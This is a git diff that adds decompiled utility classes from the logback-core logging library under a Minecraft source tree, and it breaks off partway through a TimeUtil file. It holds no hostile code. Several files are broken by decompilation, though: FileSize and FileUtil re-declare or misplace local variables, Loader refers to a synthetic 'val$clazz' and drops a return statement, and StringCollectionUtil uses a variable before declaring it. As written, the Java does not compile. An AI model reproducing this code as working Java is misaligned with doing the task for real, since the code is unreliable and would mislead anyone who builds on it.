+
+
+
+
+public class DynamicClassLoadingException
+  extends Exception
+{
+  private static final long serialVersionUID = 4962278449162476114L;
+  
+
+
+
+
+
+  public DynamicClassLoadingException(String desc, Throwable root)
+  {
+    super(desc, root);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/EnvUtil.java b/src/minecraft/ch/qos/logback/core/util/EnvUtil.java
new file mode 100644
index 0000000..0691ca9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/EnvUtil.java
@@ -0,0 +1,70 @@
+package ch.qos.logback.core.util;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EnvUtil
+{
+  public EnvUtil() {}
+  
+  private static boolean isJDK_N_OrHigher(int n)
+  {
+    List<String> versionList = new ArrayList();
+    
+
+    for (int i = 0; i < 5; i++) {
+      versionList.add("1." + (n + i));
+    }
+    
+    String javaVersion = System.getProperty("java.version");
+    if (javaVersion == null) {
+      return false;
+    }
+    for (String v : versionList) {
+      if (javaVersion.startsWith(v))
+        return true;
+    }
+    return false;
+  }
+  
+  public static boolean isJDK5() {
+    return isJDK_N_OrHigher(5);
+  }
+  
+  public static boolean isJDK6OrHigher() {
+    return isJDK_N_OrHigher(6);
+  }
+  
+  public static boolean isJDK7OrHigher() {
+    return isJDK_N_OrHigher(7);
+  }
+  
+  public static boolean isJaninoAvailable() {
+    ClassLoader classLoader = EnvUtil.class.getClassLoader();
+    try {
+      Class<?> bindingClass = classLoader.loadClass("org.codehaus.janino.ScriptEvaluator");
+      return bindingClass != null;
+    } catch (ClassNotFoundException e) {}
+    return false;
+  }
+  
+  public static boolean isWindows()
+  {
+    String os = System.getProperty("os.name");
+    return os.startsWith("Windows");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/ExecutorServiceUtil.java b/src/minecraft/ch/qos/logback/core/util/ExecutorServiceUtil.java
new file mode 100644
index 0000000..1dfdec3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/ExecutorServiceUtil.java
@@ -0,0 +1,69 @@
+package ch.qos.logback.core.util;
+
+import ch.qos.logback.core.CoreConstants;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.SynchronousQueue;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ExecutorServiceUtil
+{
+  private static final ThreadFactory THREAD_FACTORY = new ThreadFactory()
+  {
+    private final ThreadFactory defaultFactory = Executors.defaultThreadFactory();
+    private final AtomicInteger threadNumber = new AtomicInteger(1);
+    
+    public Thread newThread(Runnable r) {
+      Thread thread = defaultFactory.newThread(r);
+      if (!thread.isDaemon()) {
+        thread.setDaemon(true);
+      }
+      thread.setName("logback-" + threadNumber.getAndIncrement());
+      return thread;
+    }
+  };
+  
+
+  public ExecutorServiceUtil() {}
+  
+  public static ExecutorService newExecutorService()
+  {
+    return new ThreadPoolExecutor(CoreConstants.CORE_POOL_SIZE, 32, 0L, TimeUnit.MILLISECONDS, new SynchronousQueue(), THREAD_FACTORY);
+  }
+  
+
+
+
+
+
+
+
+
+  public static void shutdown(ExecutorService executorService)
+  {
+    executorService.shutdownNow();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/FileSize.java b/src/minecraft/ch/qos/logback/core/util/FileSize.java
new file mode 100644
index 0000000..37777ed
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/FileSize.java
@@ -0,0 +1,81 @@
+package ch.qos.logback.core.util;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FileSize
+{
+  private static final String LENGTH_PART = "([0-9]+)";
+  private static final int DOUBLE_GROUP = 1;
+  private static final String UNIT_PART = "(|kb|mb|gb)s?";
+  private static final int UNIT_GROUP = 2;
+  private static final Pattern FILE_SIZE_PATTERN = Pattern.compile("([0-9]+)\\s*(|kb|mb|gb)s?", 2);
+  
+  static final long KB_COEFFICIENT = 1024L;
+  
+  static final long MB_COEFFICIENT = 1048576L;
+  static final long GB_COEFFICIENT = 1073741824L;
+  final long size;
+  
+  FileSize(long size)
+  {
+    this.size = size;
+  }
+  
+  public long getSize() {
+    return size;
+  }
+  
+  public static FileSize valueOf(String fileSizeStr) {
+    Matcher matcher = FILE_SIZE_PATTERN.matcher(fileSizeStr);
+    
+
+    if (matcher.matches()) {
+      String lenStr = matcher.group(1);
+      String unitStr = matcher.group(2);
+      
+      long lenValue = Long.valueOf(lenStr).longValue();
+      long coefficient; if (unitStr.equalsIgnoreCase("")) {
+        coefficient = 1L; } else { long coefficient;
+        if (unitStr.equalsIgnoreCase("kb")) {
+          coefficient = 1024L; } else { long coefficient;
+          if (unitStr.equalsIgnoreCase("mb")) {
+            coefficient = 1048576L; } else { long coefficient;
+            if (unitStr.equalsIgnoreCase("gb")) {
+              coefficient = 1073741824L;
+            } else
+              throw new IllegalStateException("Unexpected " + unitStr); } } }
+      long coefficient;
+      return new FileSize(lenValue * coefficient);
+    }
+    throw new IllegalArgumentException("String value [" + fileSizeStr + "] is not in the expected format.");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/FileUtil.java b/src/minecraft/ch/qos/logback/core/util/FileUtil.java
new file mode 100644
index 0000000..fec8f06
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/FileUtil.java
@@ -0,0 +1,135 @@
+package ch.qos.logback.core.util;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.rolling.RolloverFailure;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.MalformedURLException;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+
+
+
+
+public class FileUtil
+  extends ContextAwareBase
+{
+  static final int BUF_SIZE = 32768;
+  
+  public FileUtil(Context context)
+  {
+    setContext(context);
+  }
+  
+  public static URL fileToURL(File file) {
+    try {
+      return file.toURI().toURL();
+    } catch (MalformedURLException e) {
+      throw new RuntimeException("Unexpected exception on file [" + file + "]", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean createMissingParentDirectories(File file)
+  {
+    File parent = file.getParentFile();
+    if (parent == null)
+    {
+
+      return true;
+    }
+    
+
+
+    parent.mkdirs();
+    return parent.exists();
+  }
+  
+  public String resourceAsString(ClassLoader classLoader, String resourceName)
+  {
+    URL url = classLoader.getResource(resourceName);
+    if (url == null) {
+      addError("Failed to find resource [" + resourceName + "]");
+      return null;
+    }
+    
+    InputStreamReader isr = null;
+    try {
+      URLConnection urlConnection = url.openConnection();
+      urlConnection.setUseCaches(false);
+      isr = new InputStreamReader(urlConnection.getInputStream());
+      char[] buf = new char['€'];
+      StringBuilder builder = new StringBuilder();
+      int count = -1;
+      while ((count = isr.read(buf, 0, buf.length)) != -1) {
+        builder.append(buf, 0, count);
+      }
+      return builder.toString();
+    } catch (IOException e) {
+      addError("Failed to open " + resourceName, e);
+    } finally {
+      if (isr != null) {
+        try {
+          isr.close();
+        }
+        catch (IOException e) {}
+      }
+    }
+    
+    return null;
+  }
+  
+  public void copy(String src, String destination)
+    throws RolloverFailure
+  {
+    BufferedInputStream bis = null;
+    BufferedOutputStream bos = null;
+    try {
+      bis = new BufferedInputStream(new FileInputStream(src));
+      bos = new BufferedOutputStream(new FileOutputStream(destination));
+      byte[] inbuf = new byte[32768];
+      
+      int n;
+      while ((n = bis.read(inbuf)) != -1) {
+        bos.write(inbuf, 0, n);
+      }
+      
+      bis.close();
+      bis = null;
+      bos.close();
+      bos = null;
+      String msg;
+      return; } catch (IOException ioe) { msg = "Failed to copy [" + src + "] to [" + destination + "]";
+      addError(msg, ioe);
+      throw new RolloverFailure(msg);
+    } finally {
+      if (bis != null) {
+        try {
+          bis.close();
+        }
+        catch (IOException e) {}
+      }
+      
+      if (bos != null) {
+        try {
+          bos.close();
+        }
+        catch (IOException e) {}
+      }
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/FixedDelay.java b/src/minecraft/ch/qos/logback/core/util/FixedDelay.java
new file mode 100644
index 0000000..6c98e9b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/FixedDelay.java
@@ -0,0 +1,58 @@
+package ch.qos.logback.core.util;
+
+
+
+
+
+
+
+
+
+public class FixedDelay
+  implements DelayStrategy
+{
+  private final long subsequentDelay;
+  
+
+
+
+
+
+
+
+  private long nextDelay;
+  
+
+
+
+
+
+
+
+
+  public FixedDelay(long initialDelay, long subsequentDelay)
+  {
+    String s = new String();
+    nextDelay = initialDelay;
+    this.subsequentDelay = subsequentDelay;
+  }
+  
+
+
+
+
+
+  public FixedDelay(int delay)
+  {
+    this(delay, delay);
+  }
+  
+
+
+  public long nextDelay()
+  {
+    long delay = nextDelay;
+    nextDelay = subsequentDelay;
+    return delay;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/IncompatibleClassException.java b/src/minecraft/ch/qos/logback/core/util/IncompatibleClassException.java
new file mode 100644
index 0000000..dfc1f02
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/IncompatibleClassException.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.util;
+
+
+
+
+
+public class IncompatibleClassException
+  extends Exception
+{
+  private static final long serialVersionUID = -5823372159561159549L;
+  
+
+
+  Class<?> requestedClass;
+  
+
+
+  Class<?> obtainedClass;
+  
+
+
+
+  IncompatibleClassException(Class<?> requestedClass, Class<?> obtainedClass)
+  {
+    this.requestedClass = requestedClass;
+    this.obtainedClass = obtainedClass;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/InvocationGate.java b/src/minecraft/ch/qos/logback/core/util/InvocationGate.java
new file mode 100644
index 0000000..5d036e1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/InvocationGate.java
@@ -0,0 +1,61 @@
+package ch.qos.logback.core.util;
+
+
+
+
+
+
+
+
+
+
+
+
+public class InvocationGate
+{
+  private static final int MAX_MASK = 65535;
+  
+
+
+
+
+
+
+
+
+
+  private volatile long mask = 15L;
+  private volatile long lastMaskCheck = System.currentTimeMillis();
+  
+
+
+
+
+
+  private long invocationCounter = 0L;
+  
+
+
+
+  private static final long thresholdForMaskIncrease = 100L;
+  
+
+
+  private final long thresholdForMaskDecrease = 800L;
+  
+  public InvocationGate() {}
+  
+  public boolean skipFurtherWork() { return (invocationCounter++ & mask) != mask; }
+  
+
+  public void updateMaskIfNecessary(long now)
+  {
+    long timeElapsedSinceLastMaskUpdateCheck = now - lastMaskCheck;
+    lastMaskCheck = now;
+    if ((timeElapsedSinceLastMaskUpdateCheck < 100L) && (mask < 65535L)) {
+      mask = (mask << 1 | 1L);
+    } else if (timeElapsedSinceLastMaskUpdateCheck > 800L) {
+      mask >>>= 2;
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/Loader.java b/src/minecraft/ch/qos/logback/core/util/Loader.java
new file mode 100644
index 0000000..ec110cd
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/Loader.java
@@ -0,0 +1,209 @@
+package ch.qos.logback.core.util;
+
+import ch.qos.logback.core.Context;
+import java.io.IOException;
+import java.net.URL;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Loader
+{
+  static final String TSTR = "Caught Exception while in Loader.getResource. This may be innocuous.";
+  private static boolean ignoreTCL = false;
+  public static final String IGNORE_TCL_PROPERTY_NAME = "logback.ignoreTCL";
+  
+  static
+  {
+    String ignoreTCLProp = OptionHelper.getSystemProperty("logback.ignoreTCL", null);
+    
+
+    if (ignoreTCLProp != null)
+      ignoreTCL = OptionHelper.toBoolean(ignoreTCLProp, true);
+  }
+  
+  private static boolean HAS_GET_CLASS_LOADER_PERMISSION = ((Boolean)AccessController.doPrivileged(new PrivilegedAction()
+  {
+    public Boolean run() {
+      try {
+        AccessController.checkPermission(new RuntimePermission("getClassLoader"));
+        
+        return Boolean.valueOf(true);
+      }
+      catch (SecurityException e) {}
+      
+      return Boolean.valueOf(false);
+    }
+  })).booleanValue();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Set<URL> getResourceOccurrenceCount(String resource, ClassLoader classLoader)
+    throws IOException
+  {
+    Set<URL> urlSet = new HashSet();
+    Enumeration<URL> urlEnum = classLoader.getResources(resource);
+    while (urlEnum.hasMoreElements()) {
+      URL url = (URL)urlEnum.nextElement();
+      urlSet.add(url);
+    }
+    return urlSet;
+  }
+  
+
+
+
+
+  public static URL getResource(String resource, ClassLoader classLoader)
+  {
+    try
+    {
+      return classLoader.getResource(resource);
+    } catch (Throwable t) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public static URL getResourceBySelfClassLoader(String resource)
+  {
+    return getResource(resource, getClassLoaderOfClass(Loader.class));
+  }
+  
+
+
+
+
+
+
+
+
+  public static ClassLoader getTCL()
+  {
+    return Thread.currentThread().getContextClassLoader();
+  }
+  
+  public static Class<?> loadClass(String clazz, Context context) throws ClassNotFoundException
+  {
+    ClassLoader cl = getClassLoaderOfObject(context);
+    return cl.loadClass(clazz);
+  }
+  
+
+
+
+
+
+
+  public static ClassLoader getClassLoaderOfObject(Object o)
+  {
+    if (o == null) {
+      throw new NullPointerException("Argument cannot be null");
+    }
+    return getClassLoaderOfClass(o.getClass());
+  }
+  
+
+
+
+
+
+  public static ClassLoader getClassLoaderAsPrivileged(Class<?> clazz)
+  {
+    if (!HAS_GET_CLASS_LOADER_PERMISSION) {
+      return null;
+    }
+    (ClassLoader)AccessController.doPrivileged(new PrivilegedAction()
+    {
+      public ClassLoader run() {
+        return val$clazz.getClassLoader();
+      }
+    });
+  }
+  
+
+
+
+
+
+
+  public static ClassLoader getClassLoaderOfClass(Class<?> clazz)
+  {
+    ClassLoader cl = clazz.getClassLoader();
+    if (cl == null) {
+      return ClassLoader.getSystemClassLoader();
+    }
+    return cl;
+  }
+  
+
+
+
+
+
+
+  public static Class<?> loadClass(String clazz)
+    throws ClassNotFoundException
+  {
+    if (ignoreTCL) {
+      return Class.forName(clazz);
+    }
+    try {
+      return getTCL().loadClass(clazz);
+    }
+    catch (Throwable e) {}
+    
+
+    return Class.forName(clazz);
+  }
+  
+  public Loader() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/LocationUtil.java b/src/minecraft/ch/qos/logback/core/util/LocationUtil.java
new file mode 100644
index 0000000..2495f49
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/LocationUtil.java
@@ -0,0 +1,74 @@
+package ch.qos.logback.core.util;
+
+import java.io.FileNotFoundException;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocationUtil
+{
+  public static final String SCHEME_PATTERN = "^\\p{Alpha}[\\p{Alnum}+.-]*:.*$";
+  public static final String CLASSPATH_SCHEME = "classpath:";
+  
+  public LocationUtil() {}
+  
+  public static URL urlForResource(String location)
+    throws MalformedURLException, FileNotFoundException
+  {
+    if (location == null) {
+      throw new NullPointerException("location is required");
+    }
+    URL url = null;
+    if (!location.matches("^\\p{Alpha}[\\p{Alnum}+.-]*:.*$")) {
+      url = Loader.getResourceBySelfClassLoader(location);
+    }
+    else if (location.startsWith("classpath:")) {
+      String path = location.substring("classpath:".length());
+      if (path.startsWith("/")) {
+        path = path.substring(1);
+      }
+      if (path.length() == 0) {
+        throw new MalformedURLException("path is required");
+      }
+      url = Loader.getResourceBySelfClassLoader(path);
+    }
+    else {
+      url = new URL(location);
+    }
+    if (url == null) {
+      throw new FileNotFoundException(location);
+    }
+    return url;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/OptionHelper.java b/src/minecraft/ch/qos/logback/core/util/OptionHelper.java
new file mode 100644
index 0000000..0ee1005
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/OptionHelper.java
@@ -0,0 +1,270 @@
+package ch.qos.logback.core.util;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.PropertyContainer;
+import ch.qos.logback.core.spi.ScanException;
+import ch.qos.logback.core.subst.NodeToStringTransformer;
+import java.lang.reflect.Constructor;
+import java.util.Properties;
+
+
+
+
+
+
+
+
+
+public class OptionHelper
+{
+  static final String DELIM_START = "${";
+  static final char DELIM_STOP = '}';
+  static final String DELIM_DEFAULT = ":-";
+  static final int DELIM_START_LEN = 2;
+  static final int DELIM_STOP_LEN = 1;
+  static final int DELIM_DEFAULT_LEN = 2;
+  static final String _IS_UNDEFINED = "_IS_UNDEFINED";
+  
+  public OptionHelper() {}
+  
+  public static Object instantiateByClassName(String className, Class<?> superClass, Context context)
+    throws IncompatibleClassException, DynamicClassLoadingException
+  {
+    ClassLoader classLoader = Loader.getClassLoaderOfObject(context);
+    return instantiateByClassName(className, superClass, classLoader);
+  }
+  
+  public static Object instantiateByClassNameAndParameter(String className, Class<?> superClass, Context context, Class<?> type, Object param)
+    throws IncompatibleClassException, DynamicClassLoadingException
+  {
+    ClassLoader classLoader = Loader.getClassLoaderOfObject(context);
+    return instantiateByClassNameAndParameter(className, superClass, classLoader, type, param);
+  }
+  
+  public static Object instantiateByClassName(String className, Class<?> superClass, ClassLoader classLoader)
+    throws IncompatibleClassException, DynamicClassLoadingException
+  {
+    return instantiateByClassNameAndParameter(className, superClass, classLoader, null, null);
+  }
+  
+
+  public static Object instantiateByClassNameAndParameter(String className, Class<?> superClass, ClassLoader classLoader, Class<?> type, Object parameter)
+    throws IncompatibleClassException, DynamicClassLoadingException
+  {
+    if (className == null) {
+      throw new NullPointerException();
+    }
+    try {
+      Class<?> classObj = null;
+      classObj = classLoader.loadClass(className);
+      if (!superClass.isAssignableFrom(classObj)) {
+        throw new IncompatibleClassException(superClass, classObj);
+      }
+      if (type == null) {
+        return classObj.newInstance();
+      }
+      Constructor<?> constructor = classObj.getConstructor(new Class[] { type });
+      return constructor.newInstance(new Object[] { parameter });
+    }
+    catch (IncompatibleClassException ice) {
+      throw ice;
+    } catch (Throwable t) {
+      throw new DynamicClassLoadingException("Failed to instantiate type " + className, t);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String substVars(String val, PropertyContainer pc1)
+  {
+    return substVars(val, pc1, null);
+  }
+  
+
+  public static String substVars(String input, PropertyContainer pc0, PropertyContainer pc1)
+  {
+    try
+    {
+      return NodeToStringTransformer.substituteVariable(input, pc0, pc1);
+    } catch (ScanException e) {
+      throw new IllegalArgumentException("Failed to parse input [" + input + "]", e);
+    }
+  }
+  
+  public static String propertyLookup(String key, PropertyContainer pc1, PropertyContainer pc2)
+  {
+    String value = null;
+    
+    value = pc1.getProperty(key);
+    
+
+    if ((value == null) && (pc2 != null)) {
+      value = pc2.getProperty(key);
+    }
+    
+    if (value == null) {
+      value = getSystemProperty(key, null);
+    }
+    if (value == null) {
+      value = getEnv(key);
+    }
+    return value;
+  }
+  
+
+
+
+
+
+
+
+  public static String getSystemProperty(String key, String def)
+  {
+    try
+    {
+      return System.getProperty(key, def);
+    } catch (SecurityException e) {}
+    return def;
+  }
+  
+
+
+
+
+
+  public static String getEnv(String key)
+  {
+    try
+    {
+      return System.getenv(key);
+    } catch (SecurityException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public static String getSystemProperty(String key)
+  {
+    try
+    {
+      return System.getProperty(key);
+    } catch (SecurityException e) {}
+    return null;
+  }
+  
+  public static void setSystemProperties(ContextAware contextAware, Properties props)
+  {
+    for (Object o : props.keySet()) {
+      String key = (String)o;
+      String value = props.getProperty(key);
+      setSystemProperty(contextAware, key, value);
+    }
+  }
+  
+  public static void setSystemProperty(ContextAware contextAware, String key, String value) {
+    try {
+      System.setProperty(key, value);
+    } catch (SecurityException e) {
+      contextAware.addError("Failed to set system property [" + key + "]", e);
+    }
+  }
+  
+
+
+
+
+  public static Properties getSystemProperties()
+  {
+    try
+    {
+      return System.getProperties();
+    } catch (SecurityException e) {}
+    return new Properties();
+  }
+  
+
+
+
+
+
+
+
+
+  public static String[] extractDefaultReplacement(String key)
+  {
+    String[] result = new String[2];
+    if (key == null) {
+      return result;
+    }
+    result[0] = key;
+    int d = key.indexOf(":-");
+    if (d != -1) {
+      result[0] = key.substring(0, d);
+      result[1] = key.substring(d + 2);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+  public static boolean toBoolean(String value, boolean dEfault)
+  {
+    if (value == null) {
+      return dEfault;
+    }
+    
+    String trimmedVal = value.trim();
+    
+    if ("true".equalsIgnoreCase(trimmedVal)) {
+      return true;
+    }
+    
+    if ("false".equalsIgnoreCase(trimmedVal)) {
+      return false;
+    }
+    
+    return dEfault;
+  }
+  
+  public static boolean isEmpty(String str) {
+    return (str == null) || ("".equals(str));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/PropertySetterException.java b/src/minecraft/ch/qos/logback/core/util/PropertySetterException.java
new file mode 100644
index 0000000..b38a1ff
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/PropertySetterException.java
@@ -0,0 +1,37 @@
+package ch.qos.logback.core.util;
+
+
+
+
+
+
+
+
+
+
+public class PropertySetterException
+  extends Exception
+{
+  private static final long serialVersionUID = -2771077768281663949L;
+  
+
+
+
+
+
+
+
+
+  public PropertySetterException(String msg)
+  {
+    super(msg);
+  }
+  
+  public PropertySetterException(Throwable rootCause) {
+    super(rootCause);
+  }
+  
+  public PropertySetterException(String message, Throwable cause) {
+    super(message, cause);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/StatusPrinter.java b/src/minecraft/ch/qos/logback/core/util/StatusPrinter.java
new file mode 100644
index 0000000..56775b4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/StatusPrinter.java
@@ -0,0 +1,194 @@
+package ch.qos.logback.core.util;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.helpers.ThrowableToStringArray;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.StatusUtil;
+import java.io.PrintStream;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StatusPrinter
+{
+  private static PrintStream ps = System.out;
+  
+  static CachingDateFormatter cachingDateFormat = new CachingDateFormatter("HH:mm:ss,SSS");
+  
+  public StatusPrinter() {}
+  
+  public static void setPrintStream(PrintStream printStream) { ps = printStream; }
+  
+
+
+
+
+
+
+  public static void printInCaseOfErrorsOrWarnings(Context context)
+  {
+    printInCaseOfErrorsOrWarnings(context, 0L);
+  }
+  
+
+
+
+
+
+  public static void printInCaseOfErrorsOrWarnings(Context context, long threshold)
+  {
+    if (context == null) {
+      throw new IllegalArgumentException("Context argument cannot be null");
+    }
+    
+    StatusManager sm = context.getStatusManager();
+    if (sm == null) {
+      ps.println("WARN: Context named \"" + context.getName() + "\" has no status manager");
+    }
+    else {
+      StatusUtil statusUtil = new StatusUtil(context);
+      if (statusUtil.getHighestLevel(threshold) >= 1) {
+        print(sm, threshold);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public static void printIfErrorsOccured(Context context)
+  {
+    if (context == null) {
+      throw new IllegalArgumentException("Context argument cannot be null");
+    }
+    
+    StatusManager sm = context.getStatusManager();
+    if (sm == null) {
+      ps.println("WARN: Context named \"" + context.getName() + "\" has no status manager");
+    }
+    else {
+      StatusUtil statusUtil = new StatusUtil(context);
+      if (statusUtil.getHighestLevel(0L) == 2) {
+        print(sm);
+      }
+    }
+  }
+  
+
+
+
+
+  public static void print(Context context)
+  {
+    print(context, 0L);
+  }
+  
+
+
+
+  public static void print(Context context, long threshold)
+  {
+    if (context == null) {
+      throw new IllegalArgumentException("Context argument cannot be null");
+    }
+    
+    StatusManager sm = context.getStatusManager();
+    if (sm == null) {
+      ps.println("WARN: Context named \"" + context.getName() + "\" has no status manager");
+    }
+    else {
+      print(sm, threshold);
+    }
+  }
+  
+  public static void print(StatusManager sm) {
+    print(sm, 0L);
+  }
+  
+  public static void print(StatusManager sm, long threshold) {
+    StringBuilder sb = new StringBuilder();
+    List<Status> filteredList = StatusUtil.filterStatusListByTimeThreshold(sm.getCopyOfStatusList(), threshold);
+    buildStrFromStatusList(sb, filteredList);
+    ps.println(sb.toString());
+  }
+  
+  public static void print(List<Status> statusList)
+  {
+    StringBuilder sb = new StringBuilder();
+    buildStrFromStatusList(sb, statusList);
+    ps.println(sb.toString());
+  }
+  
+  private static void buildStrFromStatusList(StringBuilder sb, List<Status> statusList)
+  {
+    if (statusList == null)
+      return;
+    for (Status s : statusList) {
+      buildStr(sb, "", s);
+    }
+  }
+  
+
+
+
+  private static void appendThrowable(StringBuilder sb, Throwable t)
+  {
+    String[] stringRep = ThrowableToStringArray.convert(t);
+    
+    for (String s : stringRep) {
+      if (!s.startsWith("Caused by: "))
+      {
+        if (Character.isDigit(s.charAt(0)))
+        {
+          sb.append("\t... ");
+        }
+        else
+          sb.append("\tat ");
+      }
+      sb.append(s).append(CoreConstants.LINE_SEPARATOR);
+    }
+  }
+  
+  public static void buildStr(StringBuilder sb, String indentation, Status s) { String prefix;
+    String prefix;
+    if (s.hasChildren()) {
+      prefix = indentation + "+ ";
+    } else {
+      prefix = indentation + "|-";
+    }
+    
+    if (cachingDateFormat != null) {
+      String dateStr = cachingDateFormat.format(s.getDate().longValue());
+      sb.append(dateStr).append(" ");
+    }
+    sb.append(prefix).append(s).append(CoreConstants.LINE_SEPARATOR);
+    
+    if (s.getThrowable() != null) {
+      appendThrowable(sb, s.getThrowable());
+    }
+    if (s.hasChildren()) {
+      Iterator<Status> ite = s.iterator();
+      while (ite.hasNext()) {
+        Status child = (Status)ite.next();
+        buildStr(sb, indentation + "  ", child);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/StringCollectionUtil.java b/src/minecraft/ch/qos/logback/core/util/StringCollectionUtil.java
new file mode 100644
index 0000000..4f05c4a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/StringCollectionUtil.java
@@ -0,0 +1,111 @@
+package ch.qos.logback.core.util;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StringCollectionUtil
+{
+  public StringCollectionUtil() {}
+  
+  public static void retainMatching(Collection<String> values, String... patterns)
+  {
+    retainMatching(values, Arrays.asList(patterns));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void retainMatching(Collection<String> values, Collection<String> patterns)
+  {
+    if (patterns.isEmpty()) return;
+    List<String> matches = new ArrayList(values.size());
+    for (String p : patterns) {
+      pattern = Pattern.compile(p);
+      for (String value : values) {
+        if (pattern.matcher(value).matches())
+          matches.add(value);
+      }
+    }
+    Pattern pattern;
+    values.retainAll(matches);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void removeMatching(Collection<String> values, String... patterns)
+  {
+    removeMatching(values, Arrays.asList(patterns));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void removeMatching(Collection<String> values, Collection<String> patterns)
+  {
+    List<String> matches = new ArrayList(values.size());
+    for (String p : patterns) {
+      pattern = Pattern.compile(p);
+      for (String value : values) {
+        if (pattern.matcher(value).matches())
+          matches.add(value);
+      }
+    }
+    Pattern pattern;
+    values.removeAll(matches);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/SystemInfo.java b/src/minecraft/ch/qos/logback/core/util/SystemInfo.java
new file mode 100644
index 0000000..8eb67f1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/SystemInfo.java
@@ -0,0 +1,23 @@
+package ch.qos.logback.core.util;
+
+
+
+
+
+
+
+public class SystemInfo
+{
+  public SystemInfo() {}
+  
+
+
+
+
+
+
+  public static String getJavaVendor()
+  {
+    return OptionHelper.getSystemProperty("java.vendor", null);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/TimeUtil.java b/src/minecraft/ch/qos/logback/core/util/TimeUtil.java
new file mode 100644
index 0000000..396c343
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/TimeUtil.java
@@ -0,0 +1,86 @@
+package ch.qos.logback.core.util;
+
+import java.util.Calendar;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeUtil
+{
+  public TimeUtil() {}
+  
+  public static long computeStartOfNextSecond(long now)
+  {
+    Calendar cal = Calendar.getInstance();
+    cal.setTime(new Date(now));
+    cal.set(14, 0);
+    cal.add(13, 1);
+    return cal.getTime().getTime();
+  }
+  
+  public static long computeStartOfNextMinute(long now) {
+    Calendar cal = Calendar.getInstance();
+    cal.setTime(new Date(now));
+    cal.set(14, 0);
+    cal.set(13, 0);
+    cal.add(12, 1);
+    return cal.getTime().getTime();
+  }
+  
+  public static long computeStartOfNextHour(long now) {
